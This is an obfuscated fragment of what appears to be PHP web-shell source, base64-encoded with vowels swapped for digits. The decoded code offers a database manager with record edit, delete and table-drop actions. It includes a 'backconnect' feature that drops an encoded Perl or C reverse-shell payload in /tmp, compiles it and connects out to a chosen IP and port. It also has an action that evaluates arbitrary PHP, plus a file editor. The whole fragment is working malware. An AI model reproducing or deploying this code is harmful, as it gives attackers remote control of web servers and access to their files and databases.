DUoJ3QxYmw1bjFtNScsJHQxYmw1bjFtNSk7DQoJCQkJCQlwKCc8dDFibDUgYjJyZDVyPSIwIiBjNWxscDFkZDRuZz0ibyIgYzVsbHNwMWM0bmc9IjAiPicpOw0KDQoJCQkJCQlmMnI1MWNoICgkcjJ3ZGIgMXMgJHIydykgew0KCQkJCQkJCTRmICgkcnNbJHIyd1snbjFtNSddXSkgew0KCQkJCQkJCQkkdjFsMzUgPSBodG1sc3A1YzQxbGNoMXJzKCRyc1skcjJ3WyduMW01J11dKTsNCgkJCQkJCQl9IDVsczUgew0KCQkJCQkJCQkkdjFsMzUgPSAnJzsNCgkJCQkJCQl9DQoJCQkJCQkJJHRoNHNiZyA9IGJnKCk7DQoJCQkJCQkJcCgnPHRyIGNsMXNzPSInLiR0aDRzYmcuJyIgMm5tMjNzNTJ2NXI9InRoNHMuY2wxc3NOMW01PVwnZjJjM3NcJzsiIDJubTIzczUyM3Q9InRoNHMuY2wxc3NOMW01PVwnJy4kdGg0c2JnLidcJzsiPicpOw0KCQkJCQkJCTRmICgkcjJ3WydLNXknXSB8fCAkcjJ3WydBM3QyJ10pIHsNCgkJCQkJCQkJcCgnPHRkPjxiPicuJHIyd1snbjFtNSddLic8L2I+PGJyIC8+Jy4kcjJ3Wyd0eXA1J10uJygnLiRyMndbJ2w1bmd0aCddLicpJy4oJHIyd1snYzJsc3QxdCddID8gJzxiciAvPjxiPlBSSU1BUlk8L2I+JyA6ICcnKS4oJHIyd1snMTN0MnYxbCddID8gJyA8YnIgLz48Yj5BM3QyPC9iPicgOiAnJykuJzwvdGQ+PHRkPicuJHYxbDM1LicmbmJzcDs8L3RkPjwvdHI+Jyk7DQoJCQkJCQkJfSA1bHM1IHsJCQkJCQkJDQoJCQkJCQkJCXAoJzx0ZD48Yj4nLiRyMndbJ24xbTUnXS4nPC9iPjxiciAvPicuJHIyd1sndHlwNSddLicoJy4kcjJ3WydsNW5ndGgnXS4nKScuKCRyMndbJ2MybHN0MXQnXSA/ICc8YnIgLz48Yj5QUklNQVJZPC9iPicgOiAnJykuKCRyMndbJzEzdDJ2MWwnXSA/ICcgPGJyIC8+PGI+QTN0MjwvYj4nIDogJycpLic8L3RkPjx0ZD48dDV4dDFyNTEgY2wxc3M9IjFyNTEiIG4xbTU9IjRuczVydHNxbFsnLiRyMndbJ24xbTUnXS4nXSIgc3R5bDU9Inc0ZHRoOmkwMHB4O2g1NGdodDplMHB4OzJ2NXJmbDJ3OjEzdDI7Ij4nLiR2MWwzNS4nPC90NXh0MXI1MT48L3RkPjwvdHI+Jyk7DQoJCQkJCQkJfQ0KCQkJCQkJfQ0KCQkJCQkJNGYgKCRkMjRuZyA9PSAnNG5zNXJ0Jykgew0KCQkJCQkJCXAoJzx0ciBjbDFzcz0iJy5iZygpLiciPjx0ZCBjMmxzcDFuPSJhIj48NG5wM3QgY2wxc3M9ImJ0IiB0eXA1PSJzM2JtNHQiIG4xbTU9IjRuczVydCIgdjFsMzU9IkluczVydCIgLz48L3RkPjwvdHI+Jyk7DQoJCQkJCQl9IDVsczUgew0KCQkJCQkJCXAoJzx0ciBjbDFzcz0iJy5iZygpLiciPjx0ZCBjMmxzcDFuPSJhIj48NG5wM3QgY2wxc3M9ImJ0IiB0eXA1PSJzM2JtNHQiIG4xbTU9IjNwZDF0NSIgdjFsMzU9IlVwZDF0NSIgLz48L3RkPjwvdHI+Jyk7DQoJCQkJCQkJbTFrNWg0ZDUoJ2IxczVldScsICRiMXM1ZXUpOw0KCQkJCQkJfQ0KCQkJCQkJcCgnPC90MWJsNT48L2Yycm0+Jyk7DQoJCQkJCX0gNWxzNSB7DQoJCQkJCQkkcTM1cnlzID0gQDV4cGwyZDUoJzsnLCRzcWxfcTM1cnkpOw0KCQkJCQkJZjJyNTFjaCgkcTM1cnlzIDFzICRuM209PiRxMzVyeSkgew0KCQkJCQkJCTRmICgkcTM1cnkpIHsNCgkJCQkJCQkJcCgiPHA+PGI+UTM1cnkjeyRuM219IDogIi5odG1sc3A1YzQxbGNoMXJzKCRxMzVyeSxFTlRfUVVPVEVTKS4iPC9iPjwvcD4iKTsNCgkJCQkJCQkJc3c0dGNoKG1zcXkoJHEzNXJ5KSkNCgkJCQkJCQkJew0KCQkJCQkJCQkJYzFzNSAwOg0KCQkJCQkJCQkJCXAoJzxoYT5FcnIyciA6ICcubXNtc2coKS4nPC9oYT4nKTsNCgkJCQkJCQkJCQlicjUxazsJDQoJCQkJCQkJCQljMXM1IDY6DQoJCQkJCQkJCQkJNGYgKHN0cnQybDJ3NXIoczNic3RyKCRxMzVyeSwwLDZvKSkgPT0gJ3M1bDVjdCAqIGZyMm0nKSB7DQoJCQkJCQkJCQkJCSQxbGwydzVkNHQgPSA2Ow0KCQkJCQkJCQkJCX0NCgkJCQkJCQkJCQk0ZiAoJGc1dG4zbXNxbCkgew0KCQkJCQkJCQkJCQkkdDF0MmwgPSBtc3NxbF9mNXRjaF8xcnIxeShtc3EoIlNFTEVDVCBjMjNudCgqKSBGUk9NICR0MWJsNW4xbTUiKSk7DQoJCQkJCQkJCQkJCSR0MXQybCA9ICR0MXQybFswXTsNCgkJCQkJCQkJCQkJJG0zbHQ0cDFnNSA9IG0zbHQ0KCR0MXQybCwgJHAxZzVuM20sICRwMWc1LCAkdDFibDVuMW01KTsNCgkJCQkJCQkJCQl9DQoJCQkJCQkJCQkJNGYgKCEkdDFibDVuMW01KSB7DQoJCQkJCQkJCQkJCSRzcWxfbDRuNSA9IHN0cl9yNXBsMWM1KDFycjF5KCJcciIsICJcbiIsICJcdCIpLCAxcnIxeSgnICcsICcgJywgJyAnKSwgdHI0bShodG1sc3A1YzQxbGNoMXJzKCRxMzVyeSkpKTsNCgkJCQkJCQkJCQkJJHNxbF9sNG41ID0gcHI1Z19yNXBsMWM1KCIvXC9cKlteKFwqXC8pXSpcKlwvLzQiLCAiICIsICRzcWxfbDRuNSk7DQoJCQkJCQkJCQkJCXByNWdfbTF0Y2hfMWxsKCIvZnIybVxzK2B7MCw2fShbXHddKylgezAsNn1ccysvNCIsJHNxbF9sNG41LCRtMXRjaDVzKTsNCgkJCQkJCQkJCQkJJHQxYmw1bjFtNSA9ICRtMXRjaDVzWzZdWzBdOw0KCQkJCQkJCQkJCX0NCgkJCQkJCQkJCQlwKCRtM2x0NHAxZzUpOw0KCQkJCQkJCQkJCXAoJzx0MWJsNSBiMnJkNXI9IjAiIGM1bGxwMWRkNG5nPSJvIiBjNWxsc3AxYzRuZz0iMCI+Jyk7DQoJCQkJCQkJCQkJcCgnPHRyIGNsMXNzPSJoNTFkIj4nKTsNCgkJCQkJCQkJCQk0ZiAoJDFsbDJ3NWQ0dCkgcCgnPHRkPkFjdDQybjwvdGQ+Jyk7DQoNCgkJCQkJCQkJCQkkcjVzM2x0ID0gbXNxKCJzNWw1Y3QgYi5uMW01LGMubjFtNSAxcyB0eXA1LGMueHR5cDUsYi5sNW5ndGgsYi40c24zbGwxYmw1LGIuYzJsc3QxdCxjMXM1IHdoNW4gYi4xM3QydjFsIDRzIG4zbGwgdGg1biAwIDVsczUgNiA1bmQsYi5jMmw0ZCwxLjRkLGQudDV4dCBmcjJtIHN5czJiajVjdHMgMSBqMjRuIHN5c2MybDNtbnMgYiAybiAxLjRkID0gYi40ZCBqMjRuIHN5c3R5cDVzIGMgMm4gYi54dHlwNSA9IGMueHR5cDUgMW5kIGMuM3M1cnR5cDUgPD4gNjggbDVmdCBqMjRuIHN5c2MybW01bnRzIGQgMm4gZC40ZCA9IGIuY2Q1ZjEzbHQgd2g1cjUgMS40ZCA9IE9CSkVDVF9JRCgnJHQxYmw1bjFtNScpIDJyZDVyIGJ5IGIuYzJsNGQiKTsNCgkJCQkJCQkJCQkkcjJ3ZGIgPSAxcnIxeSgpOw0KCQkJCQkJCQkJCSRrNXlmNDVkID0gJyc7IC8vJiNhMDBhNzsmI284NjkwOyYjYW9vOG87JiNhN2k3bzsNCgkJCQkJCQkJCQl3aDRsNSgkdGIgPSBAbXNzcWxfZjV0Y2hfMXJyMXkoJHI1czNsdCkpIHsNCgkJCQkJCQkJCQkJcCgnPHRkIG4yd3IxcD4nLiR0YlsnbjFtNSddLic8YnI+PHNwMW4+Jy4kdGJbJ3R5cDUnXS4nKCcuJHRiWydsNW5ndGgnXS4nKSAnLigkdGJbJ2MybHN0MXQnXSA/ICc8Yj4gLSBQUklNQVJZPC9iPicgOiAnJykuKCR0YlsnMTN0MnYxbCddID8gJzxiPiAtIEEzdDI8L2I+JyA6ICcnKS4nPC9zcDFuPjwvdGQ+Jyk7DQoJCQkJCQkJCQkJCSRyMndkYlskdGJbJ24xbTUnXV1bJ0s1eSddID0gJHRiWydjMmxzdDF0J107DQoJCQkJCQkJCQkJCSRyMndkYlskdGJbJ24xbTUnXV1bJ0EzdDInXSA9ICR0YlsnMTN0MnYxbCddOw0KCQkJCQkJCQkJCQk0ZiAoJHRiWydjMmxzdDF0J10pIHsNCgkJCQkJCQkJCQkJCSRrNXlmNDVkID0gJHRiWyduMW01J107DQoJCQkJCQkJCQkJCX0NCgkJCQkJCQkJCQl9DQoJCQkJCQkJCQkJcCgnPC90cj4nKTsNCgkJCQkJCQkJCQkNCgkJCQkJCQkJCQkvLyYjbzB1aWE7JiNhaWkwOTsmI2E3OThvOyYjb2lhN2E7JiNvdTlhMDsmI2Fpb2lvOyYjYTkwbzY7JiNhMDBhNzsmI284NjkwOyYjbzh1Nzc7JiNhdWEwNzsmI2FpdTkwOyYjYTYwNmk7DQoJCQkJCQkJCQkJNGYgKHN0cnQybDJ3NXIoczNic3RyKCRxMzVyeSwwLDZvKSkgPT0gJ3M1bDVjdCAqIGZyMm0nKSB7DQoJCQkJCQkJCQkJCSRxMzVyeSAuPSAiIDJyZDVyIGJ5ICRrNXlmNDVkIERFU0MiOw0KCQkJCQkJCQkJCX0NCg0KCQkJCQkJCQkJCSRyNXMzbHQgPSBtc3EoJHEzNXJ5KTsNCgkJCQkJCQkJCQkkNG5kNXg9MDsNCgkJCQkJCQkJCQk0ZigkcDFnNW4zbT4wKSBtc3NxbF9kMXQxX3M1NWsoJHI1czNsdCwkc3QxcnRfbDRtNHQpOw0KCQkJCQkJCQkJCXdoNGw1KCRtbiA9IEBtc3NxbF9mNXRjaF8xc3MyYygkcjVzM2x0KSl7DQoJCQkJCQkJCQkJCTRmKCQ0bmQ1eD4kcDFnNW4zbS02KSBicjUxazsNCg0KCQkJCQkJCQkJCQkkdGg0c2JnID0gYmcoKTsNCgkJCQkJCQkJCQkJcCgnPHRyIGNsMXNzPSInLiR0aDRzYmcuJyIgMm5tMjNzNTJ2NXI9InRoNHMuY2wxc3NOMW01PVwnZjJjM3NcJzsiIDJubTIzczUyM3Q9InRoNHMuY2wxc3NOMW01PVwnJy4kdGg0c2JnLidcJzsiPicpOw0KCQkJCQkJCQkJCQkkd2g1cjUgPSAkdG1wID0gJGI2ID0gJyc7DQoJCQkJCQkJCQkJCS8vJiNvZTg3bzsmI2E2dWVhOyYjYWV1ZWk7JiNhMGE2dTsmI2FvbzhvOyYjYTdpN287JiNhOTk5YTsNCgkJCQkJCQkJCQkJZjJyNTFjaCgkbW4gMXMgJGs1eT0+JDRuczRkNSl7DQoJCQkJCQkJCQkJCQk0ZiAoJDRuczRkNSkgew0KCQkJCQkJCQkJCQkJCS8vJiNhZWk5NzsmI2FpYTZ1OyYjYTAwYTc7JiNvODY5MDsmIzZhYTg5OyYjYTY4MDc7JiM2OTllODsmI2FvZXVlOyYjYXVlNmk7JiM2YWE4OTsmI29vYWk4OyYjYTY2ZTA7JiNhYWU4ZTsmI2E2NmlhOyYjbzBvdTA7JiNhb284bzsmI2E3aTdvOyYjZWlhOWE7JiNhaWE2dTsmI2E2MHUwOyYjYW9lMDY7JiNhMGk3YTsmI2E3dTkwOyYjZWlhOWE7JiNhNml1YTsmI2E2MDY3OyYjb2F1aWE7JiNhNmk2YTsmI2FpNmlhOyYjYWVvNzc7JiNhb284bzsmI2E3aTdvOyYjYTBvNmU7JiNhMDBhZTsmI2FldWVpOyYjYTBhNnU7JiM2YWE5MDsNCgkJCQkJCQkJCQkJCQk0ZiAoJHIyd2RiWyRrNXldWydLNXknXSA9PSA2IHx8ICRyMndkYlskazV5XVsnQTN0MiddID09IDYpIHsNCgkJCQkJCQkJCQkJCQkJJHdoNXI1ID0gJGs1eS4iPSciLjFkZHNsMXNoNXMoJDRuczRkNSkuIiciOw0KCQkJCQkJCQkJCQkJCQlicjUxazsNCgkJCQkJCQkJCQkJCQl9DQoJCQkJCQkJCQkJCQkJJHdoNXI1IC49ICR0bXAuJGs1eS4iPSciLjFkZHNsMXNoNXMoJDRuczRkNSkuIiciOw0KCQkJCQkJCQkJCQkJCSR0bXAgPSAnIEFORCAnOw0KCQkJCQkJCQkJCQkJfQ0KCQkJCQkJCQkJCQl9DQoJCQkJCQkJCQkJCS8vJiNvaThvaTsmI2E2dWVhOyYjb2k3ZTA7JiNhdXUwaTsmI2E5OTlhOw0KCQkJCQkJCQkJCQlmMnI1MWNoKCRtbiAxcyAkazV5PT4kNG5zNGQ1KXsNCgkJCQkJCQkJCQkJCSRiNiAuPSAnPHRkIG4yd3IxcD4nLmh0bWxfY2w1MW4oJDRuczRkNSkuJyZuYnNwOzwvdGQ+JzsNCgkJCQkJCQkJCQkJfQ0KCQkJCQkJCQkJCQkkd2g1cjUgPSBiMXM1ZXVfNW5jMmQ1KCR3aDVyNSk7DQoNCgkJCQkJCQkJCQkJNGYgKCQxbGwydzVkNHQpIHAoJzx0ZCBuMndyMXA+PDEgaHI1Zj0iajF2MXNjcjRwdDo1ZDR0cjVjMnJkKFwnNWQ0dFwnLCBcJycuJHdoNXI1LidcJywgXCcnLiR0MWJsNW4xbTUuJ1wnKTsiPkVkNHQ8LzE+IHwgPDEgaHI1Zj0iajF2MXNjcjRwdDo1ZDR0cjVjMnJkKFwnZDVsXCcsIFwnJy4kd2g1cjUuJ1wnLCBcJycuJHQxYmw1bjFtNS4nXCcpOyI+RDVsPC8xPjwvdGQ+Jyk7DQoNCgkJCQkJCQkJCQkJcCgkYjYpOw0KCQkJCQkJCQkJCQlwKCc8L3RyPicpOw0KCQkJCQkJCQkJCQkkNG5kNXgrKzsNCgkJCQkJCQkJCQkJM25zNXQoJGI2KTsNCgkJCQkJCQkJCQl9DQoJCQkJCQkJCQkJdGJmMjJ0KCk7DQoJCQkJCQkJCQkJcCgkbTNsdDRwMWc1KTsNCgkJCQkJCQkJCQlicjUxazsJDQoJCQkJCQkJCQljMXM1IGE6DQoJCQkJCQkJCQkJJDFyID0gbXNzcWxfMWZmNWN0NWRfcjJ3cygpOw0KCQkJCQkJCQkJCXAoJzxoYT4xZmY1Y3Q1ZCByMndzIDogPGI+Jy4kMXIuJzwvYj48L2hhPicpOw0KCQkJCQkJCQkJCWJyNTFrOw0KCQkJCQkJCQl9DQoJCQkJCQkJfQ0KCQkJCQkJfQ0KCQkJCQl9DQoJCQkJfSA1bHM1IHsNCgkJCQkJJHEzNXJ5ID0gbXNxKCJzNWw1Y3Qgc3lzMmJqNWN0cy40ZCxzeXMyYmo1Y3RzLm4xbTUsc3lzMmJqNWN0cy5jMXQ1ZzJyeSxzeXMzczVycy5uMW01IDFzIDJ3bjVyLHN5czJiajVjdHMuY3JkMXQ1IGZyMm0gc3lzMmJqNWN0cyBqMjRuIHN5czNzNXJzIDJuIHN5czJiajVjdHMuMzRkID0gc3lzM3M1cnMuMzRkIHdoNXI1IHN5czJiajVjdHMueHR5cDUgPSAnVScgMnJkNXIgYnkgc3lzMmJqNWN0cy5uMW01IDFzYyIpOw0KCQkJCQkkdDFibDVfbjNtID0gMDsNCgkJCQkJJHQxYmw1ZGIgPSAxcnIxeSgpOw0KCQkJCQl3aDRsNSgkdDFibDUgPSBtc3NxbF9mNXRjaF8xcnIxeSgkcTM1cnkpKSB7DQoJCQkJCQkkdDFibDVfbjNtKys7DQoJCQkJCQkkdDFibDVkYltdID0gJHQxYmw1Ow0KCQkJCQl9DQoJCQkJCTNuczV0KCR0MWJsNSk7DQoNCgkJCQkJcCgnPHQxYmw1IGIycmQ1cj0iMCIgYzVsbHAxZGQ0bmc9IjAiIGM1bGxzcDFjNG5nPSIwIj4nKTsNCgkJCQkJcCgnPGYycm0gMWN0NDJuPSInLiRzNWxmLiciIG01dGgyZD0iUE9TVCI+Jyk7DQoJCQkJCW0xazVoNGQ1KCcxY3Q0Mm4nLCdtc3NxbDFkbTRuJyk7DQoJCQkJCXAoJGRiZjJybSk7DQoJCQkJCXAoJzx0ciBjbDFzcz0iaDUxZCI+Jyk7DQoJCQkJCXAoJzx0ZD5OMW01PC90ZD4nKTsNCgkJCQkJcCgnPHRkPk93bjVyPC90ZD4nKTsNCgkJCQkJcCgnPHRkPkNyNTF0NV90NG01PC90ZD4nKTsNCgkJCQkJcCgnPHRkPk9wNXIxdDU8L3RkPicpOw0KCQkJCQlwKCc8L3RyPicpOw0KCQkJCQlmMnI1MWNoICgkdDFibDVkYiAxcyAkazV5ID0+ICR0MWJsNSkgew0KCQkJCQkJJHRoNHNiZyA9IGJnKCk7DQoJCQkJCQlwKCc8dHIgY2wxc3M9IicuJHRoNHNiZy4nIiAybm0yM3M1MnY1cj0idGg0cy5jbDFzc04xbTU9XCdmMmMzc1wnOyIgMm5tMjNzNTIzdD0idGg0cy5jbDFzc04xbTU9XCcnLiR0aDRzYmcuJ1wnOyI+Jyk7DQoJCQkJCQlwKCc8dGQ+PDEgaHI1Zj0iajF2MXNjcjRwdDpzNXR0MWJsNShcJycuJHQxYmw1Wycyd241ciddLicuJy4kdDFibDVbJ24xbTUnXS4nXCcpOyI+Jy4kdDFibDVbJ24xbTUnXS4nPC8xPjwvdGQ+Jyk7DQoJCQkJCQlwKCc8dGQ+Jy4kdDFibDVbJzJ3bjVyJ10uJzwvdGQ+Jyk7DQoJCQkJCQlwKCc8dGQ+Jy4kdDFibDVbJ2NyZDF0NSddLic8L3RkPicpOw0KCQkJCQkJcCgnPHRkPjwxIGhyNWY9ImoxdjFzY3I0cHQ6czV0dDFibDUoXCcnLiRkYm4xbTUuJy4nLiR0MWJsNVsnbjFtNSddLidcJywgXCc0bnM1cnRcJyk7Ij5JbnM1cnQ8LzE+IHwgPDEgaHI1Zj0iajF2MXNjcjRwdDpzNXR0MWJsNShcJycuJGRibjFtNS4nLicuJHQxYmw1WyduMW01J10uJ1wnLCBcJ3N0cjNjdDNyNVwnKTsiPlN0cjNjdDNyNTwvMT4gfCA8MSBocjVmPSJqMXYxc2NyNHB0OnM1dHQxYmw1KFwnJy4kZGJuMW01LicuJy4kdDFibDVbJ24xbTUnXS4nXCcsIFwnZHIycFwnKTsiPkRyMnA8LzE+PC90ZD4nKTsNCgkJCQkJCXAoJzwvdHI+Jyk7DQoJCQkJCX0NCgkJCQkJcCgnPHRyIGNsMXNzPScuYmcoKS4nPicpOw0KCQkJCQlwKCc8dGQ+VDJ0MWwgdDFibDVzOiAnLiR0MWJsNV9uM20uJzwvdGQ+Jyk7DQoJCQkJCXAoJzx0ZCBjMmxzcDFuPSJvIj48L3RkPicpOw0KCQkJCQlwKCc8L3RyPicpOw0KCQkJCQlwKCI8L3QxYmw1PiIpOw0KCQkJCQltc2ZyKCRxMzVyeSk7DQoJCQkJfQ0KCQkJfQ0KCQl9DQoJfQ0KCXRiZjIydCgpOw0KCTRmICgkMWxyNTFkeW1zc3FsKSB7DQoJCUBtc3NxbF9jbDJzNSgpOw0KCX0NCn0vLzVuZCBzcWwgYjFjazNwDQoNCg0KNWxzNTRmICgkMWN0NDJuID09ICdiMWNrYzJubjVjdCcpIHsNCgkhJHkyM3I0cCAmJiAkeTIzcjRwID0gJF9TRVJWRVJbJ1JFTU9URV9BRERSJ107DQoJISR5MjNycDJydCAmJiAkeTIzcnAycnQgPSAnNmFvdWknOw0KCSQzczVkYiA9IDFycjF5KCdwNXJsJz0+J3A1cmwnLCdjJz0+J2MnKTsNCg0KCSRiMWNrX2Mybm41Y3Q9Ikl5RXZkWE55TGFKcGI0OXdaWEpzRFFwNmNhVWdVYTlqMWFWME93MEtKR050WkQwZ0lteGlibmc0T3cwS0pITmljb1JsYlQwZ0phVmoxRzhnSW1CNmJtRnRaU0F0WVdBNE9hVmoiLg0KCQkiMUc4Z0ltQnBaR0E0T3k5NDFXdXZjYWduT3cwS0pEQTlKR050WkRzTkM0UjBZWEpuWlhROUpFRlNSNlpiTUYwN0RRMmtjRzl5ZEQwa1FWSkhWbHN4WFRzTkM0UnBZV1JrY2o2cGJtVjBYYUYwYmF1MkpIUiIuDQoJCSJoY21kbGRDa2dmSHdnWkdsbEtDSkZjbkp2Y2oyZ0pDRmNiNElwT3cwS0pIQmhaR1J5UFhOdllhdGhaR1J5WGFsM0tDUndib0owTENBazFXRmtaSElwSUh4OElHUnBaU2c0UlhKeWJvSWVJQ1FoWEd1NEtUIi4NCgkJInNOQzRSd2NtOTBiejZuWlhSd2NtOTBiYUppYm1GdFpTZ25kR053SnlrN0RRcHpiYU5yWlhRMlUwOURTMFZVTENCUVJsOUpUa1ZVTENCVFQwTkxYNk5VVWtWQlRTd2dKSEJ5Ym9SdktTQjhmQ0JrMVdVMkkiLg0KCQkia1Z5Y205eU80QWtJVngzSTRrN0RRcGpiYWkzWldOMEtGTlBRMHRGVkN3Z0pIQmhaR1J5S1NCOGZDQmsxV1UySWtWeWNtOXlPNEFrSVZ4M0k0azdEUXB2Y0dWM0tGTlVSRWxPTENBNFA0WlRUME5MUlZRNCIuDQoJCSJLVHNOQ205d1pXdTJVNlJFVDZWVUxDQTRQNFpUVDBOTFJWUTRLVHNOQ205d1pXdTJVNlJFUlZKU0xDQTRQNFpUVDBOTFJWUTRLVHNOQ25OaWNvUmxiU2drY29semRHVnRLVHNOQ21Oc2JvTmxLRk5VUkVsIi4NCgkJIk9LVHNOQ21Oc2JvTmxLRk5VUkU5VlZDazdEUXBqYkc5elpTaFRWRVJGVWxJcE93PT0iOw0KCSRiMWNrX2Mybm41Y3RfYz0iSWFsM1lheDZaR1VnUEhOMFpHbHZMbWcrRFEyajFXaWpiSFZrWlNBOGNvbHpMb052WWF0bGRDaTJQZzBLSWFsM1lheDZaR1VnUEdpbGRHbDNaWFF2MVd1MzFEdU5DbWwzZEMiLg0KCQkiQnRZV2wzS0dsM2RDQmhjbWRqTENCajFHRnlJQ3BoY21kYVc2MHBEUXA3RFEyZzFXaTBJR1prT3cwS0lITjBjblZqZENCemJhTnJZV1JrY2w5cGI0QnoxV3U3RFEyZ1lhaGhjNEJ5YlhOYk1qRmRQU0p5YiIuDQoJCSJTQXRaNEE0T3lBTkM0QmtZV1Z0YmF1Mk1Td3dLVHNOQzRCejFXdTNjYWwzWGFaaGJXbHM1U0E5SUVGR1gwbE9SVlE3RFEyZ2NhbDNMbk5wYmw5d2JvSjBJRDBnMUhSdmJuTTJZWFJ2MVNoaGNtZGFXekpkIi4NCgkJIktTazdEUTJnY2FsM0xuTnBibDloWkdSeUxuTmZZV1JrYzRBOUlHbDNaWFJmWVdSa2M0aGhjbWRhV3pGZEtUc2dEUTJnWW5wbGNtODJZWEpuZGxzeFhTeHpkSEpzWld1MllYSm5kbHN4WFNrck1TdHpkSEoiLg0KCQkic1pXdTJZWEpuZGxzeVhTa3BPeUFOQzRCbVpDQTlJSE52WWF0bGRDaEJSbDlKVGtWVUxDQlRUME5MWDZOVVVrVkJUU3dnU1ZCUVVrOVVUNjlVUTZBcElEc2dEUTJnMVdZZ0tDaGpiYWkzWldOMEtHWmtMQyIuDQoJCSJBMmNvUnlkV04wSUhOdllhdGhaR1J5SUMycElDWnoxV3VzSUhOcDVtVnZaNGh6ZEhKNllvUWdjYTlqMWFGa1pISXBLU2s4TUNrZzV3MEtJQ0FnY0dWeWNtOXlLQ0piTFYwZ1lhOTNibVZqZENncEk0azdEIi4NCgkJIlEyZ0lDQmw1R2wwS0RBcE93MEtJSDBOQzRCemRISmpZWFEyY202ekxDQmhjbWRhV3pCZEtUc05DNEJ6NVhOMFpXMDJjbTZ6S1RzZ0lBMEtJR1I2Y0RJMlptUXNJREFwT3cwS0lHUjZjREkyWm1Rc0lERXAiLg0KCQkiT3cwS0lHUjZjREkyWm1Rc0lESXBPdzBLSUdWdVpXTnNLQ0l2WW1sM0xvTjJJNHc0Y2FnZ0xXazRMQ0JPVlV4TUtUc05DNEJqYkc5elpTaG1aQ2s3SUEwS2ZRPT0iOw0KDQoJNGYgKCRzdDFydCAmJiAkeTIzcjRwICYmICR5MjNycDJydCAmJiAkM3M1KXsNCgkJNGYgKCQzczUgPT0gJ3A1cmwnKSB7DQoJCQljZignL3RtcC8xbmc1bF9iYycsJGIxY2tfYzJubjVjdCk7DQoJCQkkcjVzID0gNXg1YzN0NSh3aDRjaCgncDVybCcpLiIgL3RtcC8xbmc1bF9iYyAkeTIzcjRwICR5MjNycDJydCAmIik7DQoJCX0gNWxzNSB7DQoJCQljZignL3RtcC8xbmc1bF9iYy5jJywkYjFja19jMm5uNWN0X2MpOw0KCQkJJHI1cyA9IDV4NWMzdDUoJ2djYyAtMiAvdG1wLzFuZzVsX2JjIC90bXAvMW5nNWxfYmMuYycpOw0KCQkJQDNubDRuaygnL3RtcC8xbmc1bF9iYy5jJyk7DQoJCQkkcjVzID0gNXg1YzN0NSgiL3RtcC8xbmc1bF9iYyAkeTIzcjRwICR5MjNycDJydCAmIik7DQoJCX0NCgkJbSgiTjJ3IHNjcjRwdCB0cnkgYzJubjVjdCB0MiAkeTIzcjRwIHAycnQgJHkyM3JwMnJ0IC4uLiIpOw0KCX0NCg0KCWYycm1oNTFkKDFycjF5KCd0NHRsNSc9PidCMWNrIEMybm41Y3QnKSk7DQoJbTFrNWg0ZDUoJzFjdDQybicsJ2IxY2tjMm5uNWN0Jyk7DQoJcCgnPHA+Jyk7DQoJcCgnWTIzciBJUDonKTsNCgltMWs1NG5wM3QoMXJyMXkoJ24xbTUnPT4neTIzcjRwJywnczR6NSc9PmEwLCd2MWwzNSc9PiR5MjNyNHApKTsNCglwKCdZMjNyIFAycnQ6Jyk7DQoJbTFrNTRucDN0KDFycjF5KCduMW01Jz0+J3kyM3JwMnJ0JywnczR6NSc9PjZpLCd2MWwzNSc9PiR5MjNycDJydCkpOw0KCXAoJ1VzNTonKTsNCgltMWs1czVsNWN0KDFycjF5KCduMW01Jz0+JzNzNScsJzJwdDQybic9PiQzczVkYiwnczVsNWN0NWQnPT4kM3M1KSk7DQoJbTFrNTRucDN0KDFycjF5KCduMW01Jz0+J3N0MXJ0JywndjFsMzUnPT4nU3QxcnQnLCd0eXA1Jz0+J3MzYm00dCcsJ2NsMXNzJz0+J2J0JykpOw0KCXAoJzwvcD4nKTsNCglmMnJtZjIydCgpOw0KfS8vNW5kIHNxbCBiMWNrM3ANCg0KNWxzNTRmICgkMWN0NDJuID09ICc1djFsJykgew0KCSRwaHBjMmQ1ID0gdHI0bSgkcGhwYzJkNSk7DQoJNGYoJHBocGMyZDUpew0KCQk0ZiAoIXByNWdfbTF0Y2goJyM8XD8jczQnLCAkcGhwYzJkNSkpIHsNCgkJCSRwaHBjMmQ1ID0gIjw/cGhwXG5cbnskcGhwYzJkNX1cblxuPz4iOw0KCQl9DQoJCTV2MWwoIj8iLiI+JHBocGMyZDU8PyIpOw0KCX0NCglmMnJtaDUxZCgxcnIxeSgndDR0bDUnPT4nRXYxbCBQSFAgQzJkNScpKTsNCgltMWs1aDRkNSgnMWN0NDJuJywnNXYxbCcpOw0KCW0xazV0NXh0KDFycjF5KCd0NHRsNSc9PidQSFAgQzJkNScsJ24xbTUnPT4ncGhwYzJkNScsICd2MWwzNSc9PiRwaHBjMmQ1KSk7DQoJcCgnPHA+PDEgaHI1Zj0iaHR0cDovL3cnLid3dy5nNTJjNHQ0NXMnLicuanAvcnYnLicwMDcwNjA2L3BsJy4nM2c0bi8iIHQxcmc1dD0iX2JsMW5rIj5HNXQgcGwzZzRuczwvMT48L3A+Jyk7DQoJZjJybWYyMnQ1cigpOw0KfS8vNW5kIDV2MWwNCg0KNWxzNTRmICgkMWN0NDJuID09ICc1ZDR0ZjRsNScpIHsNCgk0ZihmNGw1XzV4NHN0cygkMnBmNGw1KSkgew0KCQkkZnA9QGYycDVuKCQycGY0bDUsJ3InKTsNCgkJJGMybnQ1bnRzPUBmcjUxZCgkZnAsIGY0bDVzNHo1KCQycGY0bDUpKTsNCgkJQGZjbDJzNSgkZnApOw0KCQkkYzJudDVudHM9aHRtbHNwNWM0MWxjaDFycygkYzJudDVudHMpOw0KCX0NCglmMnJtaDUxZCgxcnIxeSgndDR0bDUnPT4nQ3I1MXQ1IC8gRWQ0dCBGNGw1JykpOw0KCW0xazVoNGQ1KCcxY3Q0Mm4nLCdmNGw1Jyk7DQoJbTFrNWg0ZDUoJ2Q0cicsJG4yd3AxdGgpOw0KCW0xazU0bnAzdCgxcnIxeSgndDR0bDUnPT4nQzNycjVudCBGNGw1ICg0bXAycnQgbjV3IGY0bDUgbjFtNSAxbmQgbjV3IGY0bDUpJywnbjFtNSc9Pic1ZDR0ZjRsNW4xbTUnLCd2MWwzNSc9PiQycGY0bDUsJ241d2w0bjUnPT42KSk7DQoJbTFrNXQ1eHQoMXJyMXkoJ3Q0dGw1Jz0+J0Y0bDUgQzJudDVudCcsJ24xbTUnPT4nZjRsNWMybnQ1bnQnLCd2MWwzNSc9PiRjMm50NW50cykpOw0KCWYycm1mMjJ0NXIoKTsNCgkNCglnMmIxY2soKTsNCg0KfS8vNW5kIDVkNHRmNGw1DQoNCjVsczU0ZiAoJDFjdDQybiA9PSAnbjV3dDRtNScpIHsNCgkkMnBmNGw1bXQ0bTUgPSBAZjRsNW10NG01KCQycGY0bDU